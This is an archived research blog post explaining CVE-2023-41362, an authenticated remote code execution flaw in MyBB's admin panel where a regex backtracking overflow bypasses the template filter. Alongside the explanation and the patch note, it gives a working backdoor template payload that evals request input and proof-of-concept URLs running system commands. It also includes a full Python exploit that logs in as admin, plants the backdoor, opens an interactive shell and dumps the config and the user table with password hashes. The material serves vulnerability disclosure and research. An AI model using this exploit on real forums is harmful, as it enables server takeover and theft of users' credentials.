---
type: Article
title: MyBB Admin Panel RCE CVE-2023-41362
description: "MyBB's admin panel rejects templates containing executable PHP syntax, but the check runs a preg_replace first and never inspects its return value. A template padded with thousands of array-index repetitions blows the PCRE backtrack limit, so preg_replace returns an empty string, the check passes, and the saved template's payload is executed by MyBB's eval-based renderer. CVE-2023-41362."
resource: "https://blog.sorcery.ie/posts/mybb_acp_rce/"
tags: [article, webseclist-reference, blog-sorcery-ie, ssti, filter-bypass, algorithmic-complexity, rce, php, cve, owasp-a03-2021, owasp-a04-2021, owasp-a05-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-10T15:06:12+00:00"
status: stable
stale_after: 2027-08-10
sources:
  - id: original
    resource: "https://blog.sorcery.ie/posts/mybb_acp_rce/"
    title: MyBB Admin Panel RCE CVE-2023-41362
also_at: []
authors: []
canonical_url: ""
cited_by:
  - "2023.md:40"
commit: ""
content_sha256: f571230857d6e601ff7cf2b712f1bb31d10af7aa4404b943f4a17fc28e991cc1
depth: full
depth_reason: default
kind: article
language: ""
licence: unknown
original_url: "https://blog.sorcery.ie/posts/mybb_acp_rce/"
published: ""
publisher: blog.sorcery.ie
publisher_english: ""
raw_sha256: 647f5f76886758eed8efa61821f41f78ef1fcee35eb149fc08911e5d9f3257ab
retrieved_from: "https://blog.sorcery.ie/posts/mybb_acp_rce/"
retrieved_kind: live
retrieved_utc: "2026-08-10T15:06:12+00:00"
slug: blog-sorcery-ie-mybb-admin-panel-rce-cve-2023-41362
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# MyBB Admin Panel RCE CVE-2023-41362

**MyBB Admin Panel RCE CVE-2023-41362** - Author not stated, blog.sorcery.ie.

- Published: date not stated
- Original: <https://blog.sorcery.ie/posts/mybb_acp_rce/>
- Preserved from: https://blog.sorcery.ie/posts/mybb_acp_rce/ (live) on 2026-08-10
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

This blog post explores a critical vulnerability in [MyBB](https://mybb.com/)’s admin panel, leading to authenticated Remote Code Execution (RCE). MyBB is a popular forum software with a template system that utilizes eval() to render templates.

We will discuss how this vulnerability in the admin panel’s template handling can be exploited for RCE.

We can change these templates in the admin panel. When we submit changes to templates they get put through the `check_template()` function in `admin/functions.php`. This function employs regex patterns to scan templates for specific patterns that may indicate malicious code.

```php
function check_template($template){
// Check to see if our database password is in the template
if(preg_match('#\$config\[(([\'|"]database[\'|"])|([^\'"].*?))\]\[(([\'|"](database|hostname|password|table_prefix|username)[\'|"])|([^\'"].*?))\]#i', $template)) {
return true;
	}

// System calls via backtick
if(preg_match('#\$\s*\{#', $template)){
return true;
	}

// Any other malicious acts?
// Courtesy of ZiNgA BuRgA
if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))){
return true;
	}
return false;
}

```

If check_template returns true the template will be rejected and we won’t be able to use it.

In the 3rd case the input is passed through preg_replace before being checked by the preg_match function.

In PHP the [Perl Compatible REgex (PCRE) functions](https://www.php.net/manual/en/book.pcre.php) (preg_match, preg_replace etc.) have a pitfall where they don’t throw an exception when they reach their backtrack limit. In the case of preg_replace it will return an empty string when the backtrack limit is reached which allows us to bypass the last preg_match. The regex used here is complex enough that we can cause [catastrophic backtracking](https://www.regular-expressions.info/catastrophic.html) with just `{$a[0]` with repeated `[0]` after it. This is a form of [ReDoS (Regex Denial of Service)](https://en.wikipedia.org/wiki/ReDoS).

You can use [this tool](https://devina.io/redos-checker) to determine if a regex is abusable, it even generates strings that trigger these issues.

You can test the behaviour of the PCRE functions in a PHP shell (`php -a`):

```php
php > echo ini_get('pcre.backtrack_limit');
1000000
php > echo preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', '{$a'.str_repeat('[0]',1891).'}TESTSTRING');
php >

```

This should print TESTSTRING but instead it will print nothing. Removing one (or more) of the `[0]` parts (by reducing the number of repeats) will let it be printed as the backtracking/stack/recursion limit hasn’t been reached.

Now that we can bypass this check all we have to do is include the type payload it was made to prevent in your template (we must still avoid the regex checks before it). The payload I went with was `{$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}`. Initially I thought I needed to find a useful function that was in the scope to use the `{$x->()}` format but we found that once we had a function we could do any php calls we needed. So we opted to use `$db->insert_id()` as it doesnt really have any effect after using it and doesn’t error loudly when it doesn’t get input.

# Proof of Concept

## Manually

To demonstrate this vulnerability manually, follow these steps:

- Login to admin panel
- Navigate to “Templates & Style” > “Templates” > “Default Templates.”
- Select a template (for instance, “Who’s Online Templates”) and click on “online.”
- Add the following payload to the top of the template:

```
<!--{$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]}-->

```

- Click one of the Save buttons
-

- PHPInfo PoC: [http://example.com/online.php?1=phpinfo();](http://example.com/online.php?1=phpinfo();)
- Command Exec: [http://example.com/online.php?1=system('whoami;pwd');](http://example.com/online.php?1=system('whoami;pwd');)

## Exploit script

```python
#!/usr/bin/python3
# Exploit script for CVE-2023-41362
# https://blog.sorcery.ie/posts/mybb_acp_rce/
import requests
import html
import argparse
import logging
from base64 import b64encode

class CustomFormatter(logging.Formatter):
	yellow = "\x1b[33;20m"
	red = "\x1b[31;20m"
	bold_red = "\x1b[31;1m"
	reset = "\x1b[0m"
	format = "%(levelname)s: %(message)s"

	FORMATS = {
		logging.DEBUG: format,
		logging.INFO: "[*] %(message)s",
		logging.WARNING: yellow + format + reset,
		logging.ERROR: red + format + reset,
		logging.CRITICAL: bold_red + format + reset
	}

def format(self, record):
		log_fmt = self.FORMATS.get(record.levelno)
		formatter = logging.Formatter(log_fmt)
return formatter.format(record)

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
ch = logging.StreamHandler()
ch.setFormatter(CustomFormatter())
logger.addHandler(ch)

def get_postkey(text):
return text.split('my_post_key" value="')[1].split('"')[0]

def send_php(php_code):
return session.get(f"{target}/online.php",cookies={'1':b64encode(php_code.encode()).decode()}).text

def remove():
	logger.info("Removing payload from template")
	rm_payload = '$db->query("UPDATE {$db->table_prefix}templates SET template=SUBSTRING_INDEX(template,\'}-->\',-1) WHERE template LIKE \'%[0][0][0][0]%\'");'
	send_php(rm_payload)
	logger.warning("Payload removed")
	exit()

def dump_config():
	dump_config_payload = 'print_r($config);'
	print(send_php(dump_config_payload))

def dump_users():
	users_payload = '$q=$db->query("SELECT CONCAT_WS(\',\',uid,username,email,hex(regip),hex(lastip),password,salt) as x FROM {$db->table_prefix}users");while($r=$db->fetch_array($q)){print($r[\'x\'].PHP_EOL);}die();'
	logger.info(f"Saving user table to {domain}.txt")
with open(f"{domain}.txt",'w') as f:
		f.write(send_php(users_payload))
	logger.info(f"Complete")

def shell():
	logger.info("Testing code exec...")
	page = send_php('echo "lmao";')
if 'lmao' in page:
		logger.info("Shell is working")
else:
		logger.warning("Shell doesnt seem to work correctly")
	logger.info("Special commands: exit (quit), remove (removes backdoor), config (prints mybb config), dump (dumps user table)")
while True:
		command = input("Enter Command> ")
if command in ['exit','quit']:
break
if command == 'remove':
			remove()
continue
if command == 'config':
			dump_config()
continue
if command == 'dump':
			dump_users()
continue
		command = command.replace("'","\\'")
		page = send_php(f"system('{command}');")
		print(page)

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description="MyBB CVE-2023-41362 Exploit Script")
	parser.add_argument("target", help="Target URL (e.g., https://example.com)")
	parser.add_argument("username", help="Admin username")
	parser.add_argument("password", help="Admin password")
	parser.add_argument("--admincp", default="admin", help="Admin control panel path")
	parser.add_argument("--user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36", help="User Agent")
	args = parser.parse_args()
	target = args.target.rstrip("/")
	domain = args.target.split('://')[1].split('/')[0]
	admincp_path = args.admincp

# login to admin
	session = requests.Session()
	session.headers.update({"User-Agent":args.user_agent})

	logger.info(f"Logging into {target}/{admincp_path}/ as {args.username}")
	login = session.post(f"{target}/{admincp_path}/index.php", data={"username":args.username, "password":args.password, "do":"login"})
if '<p id="message" class="error">' in login.text:
		logger.error("Login Failed")
		exit()
if 'This account has been locked out' in login.text:
		logger.error("Account has been locked out for failing login too many times")
		exit()

# we should have admin panel access now
	page = session.get(f"{target}/{admincp_path}/index.php?module=style-templates&action=edit_template&title=online&sid=1").text
	postkey = get_postkey(page)
	existing_template = html.unescape(page.split('<textarea name="template" class="" id="template" style="width: 100%; height: 500px;" rows="5" cols="45">')[1].split('</textarea>')[0])
	tid = page.split('tid" value="')[1].split('"')[0]
# using html comment to hide the insert_id() response of 0
# payload uses a lot of [0]'s to trigger catastrophic regex backtracking to bypass filter
	payload = "<!--{$db->insert_id(isset($_COOKIE[1])?die(eval(base64_decode($_COOKIE[1]))):'')}{$a"+("[0]"*2000)+"}-->"
if '[0][0][0][0][0]' in existing_template:
		logger.warning('Template already contains our payload code? Skipping to sending commands...')
else:
		page = session.post(f"{target}/{admincp_path}/index.php?module=style-templates&action=edit_template",data={'my_post_key':postkey, 'tid':tid,'title':'online','sid':1,'template':f"{payload}{existing_template}","continue":"Save and Continue Editing"})
if "The selected template has successfully been saved." in page.text:
			logger.info("Template saved!")
else:
			logger.error("Template failed to save")
	shell()

```

# Conclusion

In conclusion, this vulnerability in MyBB’s admin panel highlights the importance of rigorously checking the return values of PHP’s PCRE functions, [as MyBB did in their patch](https://github.com/mybb/mybb/commit/a43a6f22944e769a6eabc58c39e7bc18c1cab4ca.patch), because the functions will return False on failure (which is different to the return value 0 when they don’t match). PHP also provides the [preg_last_error_msg()](https://www.php.net/manual/en/function.preg-last-error-msg.php) and [preg_last_error()](https://www.php.net/manual/en/function.preg-last-error.php) functions which may be useful.

For web application security testers, we hope this post serves as a valuable resource for understanding and identifying similar issues. If you find any please let me know about it by email or on Fedi/Twitter.

# Timeline

| Date | Action |  |
| 12/08/2023 | Reported bug to [ZDI](https://www.zerodayinitiative.com/) |  |
| 24/08/2023 | ZDI Rejected the bug on the grounds that a high level of admin access is required |  |
| 25/08/2023 | Reported issue to MyBB |  |
| 28/08/2023 | [Patch and advisory released](https://github.com/mybb/mybb/security/advisories/GHSA-pr74-wvp3-q6f5) |  |
| 30/08/2023 | Number [CVE-2023-41362](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41362) assigned |  |
| 11/09/2023 | Blog post and [exploit](https://github.com/SorceryIE/CVE-2023-41362_MyBB_ACP_RCE) released |  |
